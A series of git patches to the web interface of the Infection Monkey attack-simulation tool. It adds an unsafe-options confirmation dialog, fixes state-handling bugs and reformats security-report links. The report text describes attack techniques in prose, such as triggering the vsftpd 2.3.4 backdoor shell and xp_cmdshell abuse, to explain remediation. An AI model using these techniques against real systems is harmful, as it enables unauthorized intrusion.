    Warning
    +

    +

    + You have selected some options which are not safe for all environments. + These options could cause some systems to become unstable or malfunction. + Are you sure you want to use the selected settings? +

    +
    + + +
    +
    +
    + ) +} + +export default UnsafeOptionsConfirmationModal; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index b0990fc8c..8345ca588 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -11,6 +11,7 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati import {formValidationFormats} from '../configuration-components/ValidationFormats'; import transformErrors from '../configuration-components/ValidationErrorMessages'; import InternalConfig from '../configuration-components/InternalConfig'; +import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -76,6 +77,17 @@ class ConfigurePageComponent extends AuthComponent { }); }; + onUnsafeConfirmationCancelClick = () => { + this.setState({showUnsafeOptionsConfirmation: false}) + } + + onUnsafeConfirmationContinueClick = () => { + this.setState( + {unsafeOptionsConfirmed: true, showUnsafeOptionsConfirmation: false}, + () => {this.onSubmit()} + ); + } + updateConfig = () => { this.authFetch(CONFIG_URL) .then(res => res.json()) @@ -255,45 +267,6 @@ class ConfigurePageComponent extends AuthComponent { ) }; - renderUnsafeOptionsConfirmationModal = () => { - return ( - - -

    -
    Warning
    -

    -

    - You have selected some options which are not safe for all environments. - These options could cause some systems to become unstable or malfunction. - Are you sure you want to use the selected settings? -

    -
    - - -
    -
    -
    - ) - } - userChangedConfig() { if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { if (Object.keys(this.currentFormData).length === 0 || @@ -503,7 +476,11 @@ class ConfigurePageComponent extends AuthComponent { lg={{offset: 3, span: 8}} xl={{offset: 2, span: 8}} className={'main'}> {this.renderAttackAlertModal()} - {this.renderUnsafeOptionsConfirmationModal()} +

    Monkey Configuration

    {this.renderNav()} {content} From 8fd1582909b828109915d467cbbf938a95e1b12e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 19:19:36 -0500 Subject: [PATCH 342/466] ui: display modal dialog when unsafe config is imported --- .../ui/src/components/pages/ConfigurePage.js | 53 +++++++++++++------ 1 file changed, 37 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 8345ca588..dc054ffce 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -84,7 +84,13 @@ class ConfigurePageComponent extends AuthComponent { onUnsafeConfirmationContinueClick = () => { this.setState( {unsafeOptionsConfirmed: true, showUnsafeOptionsConfirmation: false}, - () => {this.onSubmit()} + () => { + if (this.state.lastAction == 'submit_attempt') { + this.onSubmit(); + } else if (this.state.lastAction == 'import_attempt') { + this.setConfigFromCandidateJson(this.state.candidateConfigJson); + } + } ); } @@ -105,34 +111,34 @@ class ConfigurePageComponent extends AuthComponent { } }; - canSafelySubmitConfig() { - return !this.unsafeOptionsSelected() || this.state.unsafeOptionsConfirmed; + canSafelySubmitConfig(config) { + return !this.unsafeOptionsSelected(config) || this.state.unsafeOptionsConfirmed; } - unsafeOptionsSelected() { - return (this.unsafeExploiterSelected() - || this.unsafePostBreachActionSelected() - || this.unsafeSystemInfoCollectorSelected()); + unsafeOptionsSelected(config) { + return (this.unsafeExploiterSelected(config) + || this.unsafePostBreachActionSelected(config) + || this.unsafeSystemInfoCollectorSelected(config)); } - unsafeExploiterSelected() { + unsafeExploiterSelected(config) { return this.unsafeItemSelected( this.state.schema.definitions.exploiter_classes.anyOf, - this.state.configuration.basic.exploiters.exploiter_classes + config.basic.exploiters.exploiter_classes ); } - unsafePostBreachActionSelected() { + unsafePostBreachActionSelected(config) { return this.unsafeItemSelected( this.state.schema.definitions.post_breach_actions.anyOf, - this.state.configuration.monkey.post_breach.post_breach_actions + config.monkey.post_breach.post_breach_actions ); } - unsafeSystemInfoCollectorSelected() { + unsafeSystemInfoCollectorSelected(config) { return this.unsafeItemSelected( this.state.schema.definitions.system_info_collector_classes.anyOf, - this.state.configuration.monkey.system_info.system_info_collector_classes + config.monkey.system_info.system_info_collector_classes ); } @@ -176,9 +182,10 @@ class ConfigurePageComponent extends AuthComponent { configSubmit = () => { // Submit monkey configuration + this.setState({lastAction: 'submit_attempt'}); this.updateConfigSection(); - if (!this.canSafelySubmitConfig()) { + if (!this.canSafelySubmitConfig(this.state.configuration)) { this.setState({showUnsafeOptionsConfirmation: true}); return; } @@ -341,18 +348,32 @@ class ConfigurePageComponent extends AuthComponent { } setConfigOnImport = (event) => { + this.setConfigFromCandidateJson(event.target.result); + } + + setConfigFromCandidateJson(newConfigCandidateJson){ try { + this.setState({lastAction: 'import_attempt', candidateConfigJson: newConfigCandidateJson}) + let newConfig = JSON.parse(newConfigCandidateJson); + + if (!this.canSafelySubmitConfig(newConfig)) { + this.setState({showUnsafeOptionsConfirmation: true}); + return; + } + this.setState({ - configuration: JSON.parse(event.target.result), + configuration: newConfig, lastAction: 'import_success' }, () => { this.sendConfig(); - this.setInitialConfig(JSON.parse(event.target.result)) + this.setInitialConfig(newConfig) }); this.currentFormData = {}; } catch (SyntaxError) { this.setState({lastAction: 'import_failure'}); } + + this.setState({unsafeOptionsConfirmed: false}) }; exportConfig = () => { From ff28509d0d93719577ec90acfc4863e0d0daef1a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 19:41:36 -0500 Subject: [PATCH 343/466] ui: fix race in unsafe confirmation modal dialog --- .../ui/src/components/pages/ConfigurePage.js | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index dc054ffce..53dcdf27c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -86,9 +86,9 @@ class ConfigurePageComponent extends AuthComponent { {unsafeOptionsConfirmed: true, showUnsafeOptionsConfirmation: false}, () => { if (this.state.lastAction == 'submit_attempt') { - this.onSubmit(); + this.attemptConfigSubmit(); } else if (this.state.lastAction == 'import_attempt') { - this.setConfigFromCandidateJson(this.state.candidateConfigJson); + this.attemptSetConfigFromCandidateJson(this.state.candidateConfigJson); } } ); @@ -107,7 +107,7 @@ class ConfigurePageComponent extends AuthComponent { if (this.state.selectedSection === 'attack') { this.matrixSubmit() } else { - this.configSubmit() + this.attemptConfigSubmit() } }; @@ -180,11 +180,13 @@ class ConfigurePageComponent extends AuthComponent { }); }; - configSubmit = () => { - // Submit monkey configuration - this.setState({lastAction: 'submit_attempt'}); + attemptConfigSubmit() { this.updateConfigSection(); + this.setState({lastAction: 'submit_attempt'}, this.configSubmit()); + } + configSubmit() { + // Submit monkey configuration if (!this.canSafelySubmitConfig(this.state.configuration)) { this.setState({showUnsafeOptionsConfirmation: true}); return; @@ -348,7 +350,13 @@ class ConfigurePageComponent extends AuthComponent { } setConfigOnImport = (event) => { - this.setConfigFromCandidateJson(event.target.result); + this.attemptSetConfigFromCandidateJson(event.target.result); + } + + attemptSetConfigFromCandidateJson(newConfigCandidateJson){ + this.setState({lastAction: 'import_attempt', candidateConfigJson: newConfigCandidateJson}, + this.setConfigFromCandidateJson(newConfigCandidateJson) + ); } setConfigFromCandidateJson(newConfigCandidateJson){ From 8f32c489641e6358cb90cf4341e69fcede6fca79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 19:47:21 -0500 Subject: [PATCH 344/466] ui: make unsafeItemSelected() a pure function --- .../ui/src/components/pages/ConfigurePage.js | 32 +++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 53dcdf27c..c380c217b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -18,6 +18,19 @@ const CONFIG_URL = '/api/configuration/island'; export const API_PBA_LINUX = '/api/fileUpload/PBAlinux'; export const API_PBA_WINDOWS = '/api/fileUpload/PBAwindows'; +function unsafeItemSelected(options, selectedOptions) { + let item_safety = new Map(); + options.forEach(i => item_safety[i.enum[0]] = i.safe); + + for (let selected of selectedOptions) { + if (!item_safety[selected]) { + return true; + } + } + + return false; +} + class ConfigurePageComponent extends AuthComponent { constructor(props) { @@ -122,39 +135,26 @@ class ConfigurePageComponent extends AuthComponent { } unsafeExploiterSelected(config) { - return this.unsafeItemSelected( + return unsafeItemSelected( this.state.schema.definitions.exploiter_classes.anyOf, config.basic.exploiters.exploiter_classes ); } unsafePostBreachActionSelected(config) { - return this.unsafeItemSelected( + return unsafeItemSelected( this.state.schema.definitions.post_breach_actions.anyOf, config.monkey.post_breach.post_breach_actions ); } unsafeSystemInfoCollectorSelected(config) { - return this.unsafeItemSelected( + return unsafeItemSelected( this.state.schema.definitions.system_info_collector_classes.anyOf, config.monkey.system_info.system_info_collector_classes ); } - unsafeItemSelected(options, selectedOptions) { - let item_safety = new Map(); - options.forEach(i => item_safety[i.enum[0]] = i.safe); - - for (let selected of selectedOptions) { - if (!item_safety[selected]) { - return true; - } - } - - return false; - } - matrixSubmit = () => { // Submit attack matrix this.authFetch(ATTACK_URL, From f82d4a1b97cd49b5ff464e7c08383a0c1b594f25 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 19:54:32 -0500 Subject: [PATCH 345/466] ui: fix capitalization of "Import config" button for consistency --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index c380c217b..717f4b7dd 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -524,7 +524,7 @@ class ConfigurePageComponent extends AuthComponent {
    From 88e2ccb30a330fd50b8baf2da3daa9d8e7355b48 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 20:02:33 -0500 Subject: [PATCH 346/466] ui: pass callback, not return value, to setState() --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 717f4b7dd..015b3ffbb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -182,7 +182,7 @@ class ConfigurePageComponent extends AuthComponent { attemptConfigSubmit() { this.updateConfigSection(); - this.setState({lastAction: 'submit_attempt'}, this.configSubmit()); + this.setState({lastAction: 'submit_attempt'}, this.configSubmit); } configSubmit() { From 68e835433a9fa63e21c414db800270308181d2c3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 20:09:12 -0500 Subject: [PATCH 347/466] ui: sort unsafe options first so they're less likely to be hidden --- .../ui/src/components/ui-components/AdvancedMultiSelect.js | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 670b99cd7..8503a74fc 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -48,13 +48,14 @@ class AdvancedMultiSelect extends React.Component { }; } - // Sort options alphabetically. "Unsafe" options float to the bottom" + // Sort options alphabetically. "Unsafe" options float to the top so that they + // do not get selected and hidden at the bottom of the list. compareOptions = (a, b) => { // Apparently, you can use additive operators with boolean types. Ultimately, // the ToNumber() abstraction operation is called to convert the booleans to // numbers: https://tc39.es/ecma262/#sec-tonumeric - if (this.isSafe(b.value) - this.isSafe(a.value) !== 0) { - return this.isSafe(b.value) - this.isSafe(a.value); + if (this.isSafe(a.value) - this.isSafe(b.value) !== 0) { + return this.isSafe(a.value) - this.isSafe(b.value); } return a.value.localeCompare(b.value); From 10a4252affb9c39649b7bc7a7720ecceccd78d92 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 25 Feb 2021 20:23:56 -0500 Subject: [PATCH 348/466] ui: remove unnecessary semicolons --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 015b3ffbb..c04fdeb93 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -208,7 +208,7 @@ class ConfigurePageComponent extends AuthComponent { }); this.setState({unsafeOptionsConfirmed: false}) - }; + } // Alters attack configuration when user toggles technique attackTechniqueChange = (technique, value, mapped = false) => { @@ -382,7 +382,7 @@ class ConfigurePageComponent extends AuthComponent { } this.setState({unsafeOptionsConfirmed: false}) - }; + } exportConfig = () => { this.updateConfigSection(); From f094efba8f226caa344d5a5e1859e15c66dc6fb8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Feb 2021 08:10:13 -0500 Subject: [PATCH 349/466] ui: minor change to unsafe modal dialog language Co-authored-by: VakarisZ <36815064+VakarisZ@users.noreply.github.com> --- .../configuration-components/UnsafeOptionsConfirmationModal.js | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js index 1fbf8b0b3..819c735b8 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js @@ -9,8 +9,7 @@ function UnsafeOptionsConfirmationModal(props) {
    Warning

    - You have selected some options which are not safe for all environments. - These options could cause some systems to become unstable or malfunction. + Some of the selected options could cause systems to become unstable or malfunction. Are you sure you want to use the selected settings?

    From 7079a6fd232d8bda028a24295d1a41d787eac962 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Feb 2021 08:39:49 -0500 Subject: [PATCH 350/466] ui: pass callback, not return value, to setState() --- .../cc/ui/src/components/pages/ConfigurePage.js | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index c04fdeb93..b3c509bec 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -355,14 +355,13 @@ class ConfigurePageComponent extends AuthComponent { attemptSetConfigFromCandidateJson(newConfigCandidateJson){ this.setState({lastAction: 'import_attempt', candidateConfigJson: newConfigCandidateJson}, - this.setConfigFromCandidateJson(newConfigCandidateJson) + this.setConfigFromCandidateJson ); } - setConfigFromCandidateJson(newConfigCandidateJson){ + setConfigFromCandidateJson(){ try { - this.setState({lastAction: 'import_attempt', candidateConfigJson: newConfigCandidateJson}) - let newConfig = JSON.parse(newConfigCandidateJson); + let newConfig = JSON.parse(this.state.candidateConfigJson); if (!this.canSafelySubmitConfig(newConfig)) { this.setState({showUnsafeOptionsConfirmation: true}); From 2ef81d56889ac081bfe7fcadfb2aa2f9359505a1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Feb 2021 11:06:33 -0500 Subject: [PATCH 351/466] ui: change language from "use" -> submit for consistency --- .../UnsafeOptionsConfirmationModal.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js index 819c735b8..cb38fa823 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js @@ -10,7 +10,7 @@ function UnsafeOptionsConfirmationModal(props) {

    Some of the selected options could cause systems to become unstable or malfunction. - Are you sure you want to use the selected settings? + Are you sure you want to submit the selected settings?

    From 11c30fec1421a5174a42236633945755e8e0068a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Feb 2021 11:08:57 -0500 Subject: [PATCH 352/466] ui: simplify `onClick()` callbacks in UnsafeOptionsConfirmationModal --- .../UnsafeOptionsConfirmationModal.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js index cb38fa823..8e5a3076d 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js @@ -17,14 +17,14 @@ function UnsafeOptionsConfirmationModal(props) { className='btn btn-success' size='lg' style={{margin: '5px'}} - onClick={() => {props.onCancelClick()}}> + onClick={props.onCancelClick}> Cancel
    From 5a9cb8b4af99c6f533eade11b35316e926c957b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 26 Feb 2021 11:11:52 -0500 Subject: [PATCH 353/466] ui: switch unsafe modal cancel button to variant secondary --- .../configuration-components/UnsafeOptionsConfirmationModal.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js index 8e5a3076d..d21bf5601 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js @@ -14,7 +14,7 @@ function UnsafeOptionsConfirmationModal(props) {

    + ) } if(this.state.report.overview.issues[this.Issue.ZEROLOGON]) { zerologonOverview.push(<> - Some domain controllers are vulnerable to Zerologon exploiter( - - CVE-2020-1472)! - ) + Some domain controllers are vulnerable to Zerologon exploiter( + )! + ) } else { return none; } @@ -936,15 +943,28 @@ class ReportPageComponent extends AuthComponent {
    The attack was possible because the latest security updates from Microsoft have not been applied to this machine. For more information about this - vulnerability, read - Microsoft's documentation. + vulnerability, read + {!issue.password_restored ?

    The domain controller's password was changed during the exploit and could not be restored successfully. - Instructions on how to manually reset the domain controller's password can be found here. + Instructions on how to manually reset the domain controller's password can be found + .
    : null} From e49b7b85ccd62ed2d37c97972e560154d7d4b35d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Mar 2021 10:16:08 +0200 Subject: [PATCH 367/466] Improved formatting and link styles in SecurityReport.js --- .../report-components/SecurityReport.js | 187 ++++++++++++------ 1 file changed, 123 insertions(+), 64 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 873249f66..4f6274c6d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -16,14 +16,13 @@ import PrintReportButton from './common/PrintReportButton'; import WarningIcon from '../ui-components/WarningIcon'; import {Button} from 'react-bootstrap'; -import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; -import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; - class ReportPageComponent extends AuthComponent { Issue = @@ -84,7 +83,7 @@ class ReportPageComponent extends AuthComponent { componentDidUpdate(prevProps) { if (this.props.report !== prevProps.report) { - this.setState({ report: this.props.report }) + this.setState({report: this.props.report}) } } @@ -181,7 +180,7 @@ class ReportPageComponent extends AuthComponent { Usernames used for brute-forcing:

      - {this.state.report.overview.config_users.map(x =>
    • {x}
    • )} + {this.state.report.overview.config_users.map(x =>
    • {x}
    • )}

    Passwords used for brute-forcing: @@ -258,54 +257,102 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats:

    @@ -328,12 +375,15 @@ class ReportPageComponent extends AuthComponent { The Monkey uncovered the following possible set of issues:
      {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? -
    • Weak segmentation - Machines from different segments are able to +
    • Weak segmentation - Machines from different segments are able + to communicate.
    • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
    • Weak segmentation - Machines were able to communicate over unused ports.
    • : null} +
    • Weak segmentation - Machines were able to communicate over unused + ports.
    • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
    • Shared local administrator account - Different machines have the same account as a local +
    • Shared local administrator account - Different machines + have the same account as a local administrator.
    • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
    • Multiple users have the same password
    • : null} @@ -378,7 +428,7 @@ class ReportPageComponent extends AuthComponent { ) } - if(this.state.report.overview.issues[this.Issue.ZEROLOGON]) { + if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { zerologonOverview.push(<> Some domain controllers are vulnerable to Zerologon exploiter(
    @@ -487,7 +537,8 @@ class ReportPageComponent extends AuthComponent { } generateInfoBadges(data_array) { - return data_array.map(badge_data => {badge_data}); + return data_array.map(badge_data => {badge_data}); } generateCrossSegmentIssue(crossSegmentIssue) { @@ -683,16 +734,19 @@ class ReportPageComponent extends AuthComponent { Update your VSFTPD server to the latest version vsftpd-3.0.3. The machine {issue.machine} ({issue.ip_address}) has a backdoor running at port {issue.ip_address}) has a backdoor running at + port 6200.
    The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. - Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a + command shell on port 6200.

    - The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the + backdoor at port 6200.

    Read more about the security issue and remediation - Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local + Make sure the right administrator accounts are managing the right machines, and that there isn’t an + unintentional local admin sharing. Here is a list of machines which the account MSSQL exploit attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read
    - Microsoft's documentation. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read +
    ); @@ -952,9 +1011,9 @@ class ReportPageComponent extends AuthComponent { > Microsoft's documentation. {!issue.password_restored ? -
    -
    - +
    +
    + The domain controller's password was changed during the exploit and could not be restored successfully. Instructions on how to manually reset the domain controller's password can be found
    : null} +
    : null} ); From 9171ed8190905502403442dcedae75d5b605a968 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Mar 2021 15:50:02 +0200 Subject: [PATCH 368/466] Minor formatting improvements in SecurityReport.js --- .../report-components/SecurityReport.js | 112 +++++++++--------- 1 file changed, 57 insertions(+), 55 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 4f6274c6d..77b7afde8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -258,16 +258,17 @@ class ReportPageComponent extends AuthComponent { }).length} threats:
      {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] && -
    • Stolen SSH keys are used to exploit other machines.
    • } +
    • Stolen SSH keys are used to exploit other machines.
    • } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] && -
    • Stolen credentials are used to exploit other machines.
    • } +
    • Stolen credentials are used to exploit other machines.
    • } {this.state.report.overview.issues[this.Issue.ELASTIC] &&
    • Elasticsearch servers are vulnerable to .
    • } {this.state.report.overview.issues[this.Issue.VSFTPD] && @@ -311,47 +312,47 @@ class ReportPageComponent extends AuthComponent { ). } {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] && -
    • Machines are accessible using passwords supplied by the user during the Monkey’s - configuration.
    • } +
    • Machines are accessible using passwords supplied by the user during the Monkey’s + configuration.
    • } {this.state.report.overview.issues[this.Issue.AZURE] && -
    • Azure machines expose plaintext passwords. ( - ) -
    • } + ) + } {this.state.report.overview.issues[this.Issue.STRUTS2] && -
    • Struts2 servers are vulnerable to remote code execution. ( - ) -
    • } + ) + } {this.state.report.overview.issues[this.Issue.WEBLOGIC] && -
    • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
    • } +
    • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
    • } {this.state.report.overview.issues[this.Issue.HADOOP] && -
    • Hadoop/Yarn servers are vulnerable to remote code execution.
    • } +
    • Hadoop/Yarn servers are vulnerable to remote code execution.
    • } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] && -
    • Mimikatz found login credentials of a user who has admin access to a server defined as - critical.
    • } +
    • Mimikatz found login credentials of a user who has admin access to a server defined as + critical.
    • } {this.state.report.overview.issues[this.Issue.MSSQL] && -
    • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
    • } +
    • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
    • } {this.state.report.overview.issues[this.Issue.DRUPAL] && -
    • Drupal servers are susceptible to a remote code execution vulnerability - (). -
    • + CVE-2019-6340 + ). + } {this.generateZerologonOverview()}
    @@ -435,10 +436,11 @@ class ReportPageComponent extends AuthComponent { href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472" target={"_blank"} className={"security-report-link"}> - CVE-2020-1472)! + CVE-2020-1472 + )! ) } else { - return none; + return null; } return (
  • {zerologonOverview}
  • ) } @@ -985,7 +987,8 @@ class ReportPageComponent extends AuthComponent { href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017" target={"_blank"} className={"security-report-link"}> - Microsoft's documentation. + Microsoft's documentation. + ); @@ -1007,9 +1010,9 @@ class ReportPageComponent extends AuthComponent { variant={"link"} href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472" target={"_blank"} - className={"security-report-link"} - > - Microsoft's documentation. + className={"security-report-link"}> + Microsoft's documentation. + {!issue.password_restored ?

    @@ -1020,8 +1023,7 @@ class ReportPageComponent extends AuthComponent { variant={"link"} href="https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" target={"_blank"} - className={"security-report-link"} - > + className={"security-report-link"}> here . @@ -1034,76 +1036,76 @@ class ReportPageComponent extends AuthComponent { generateIssue = (issue) => { let issueData; switch (issue.type) { - case 'vsftp': + case "vsftp": issueData = this.generateVsftpdBackdoorIssue(issue); break; - case 'smb_password': + case "smb_password": issueData = this.generateSmbPasswordIssue(issue); break; - case 'smb_pth': + case "smb_pth": issueData = this.generateSmbPthIssue(issue); break; - case 'wmi_password': + case "wmi_password": issueData = this.generateWmiPasswordIssue(issue); break; - case 'wmi_pth': + case "wmi_pth": issueData = this.generateWmiPthIssue(issue); break; - case 'ssh': + case "ssh": issueData = this.generateSshIssue(issue); break; - case 'ssh_key': + case "ssh_key": issueData = this.generateSshKeysIssue(issue); break; - case 'sambacry': + case "sambacry": issueData = this.generateSambaCryIssue(issue); break; - case 'elastic': + case "elastic": issueData = this.generateElasticIssue(issue); break; - case 'shellshock': + case "shellshock": issueData = this.generateShellshockIssue(issue); break; - case 'conficker': + case "conficker": issueData = this.generateConfickerIssue(issue); break; - case 'island_cross_segment': + case "island_cross_segment": issueData = this.generateIslandCrossSegmentIssue(issue); break; - case 'shared_passwords': + case "shared_passwords": issueData = this.generateSharedCredsIssue(issue); break; - case 'shared_passwords_domain': + case "shared_passwords_domain": issueData = this.generateSharedCredsDomainIssue(issue); break; - case 'shared_admins_domain': + case "shared_admins_domain": issueData = this.generateSharedLocalAdminsIssue(issue); break; - case 'strong_users_on_crit': + case "strong_users_on_crit": issueData = this.generateStrongUsersOnCritIssue(issue); break; - case 'tunnel': + case "tunnel": issueData = this.generateTunnelIssue(issue); break; - case 'azure_password': + case "azure_password": issueData = 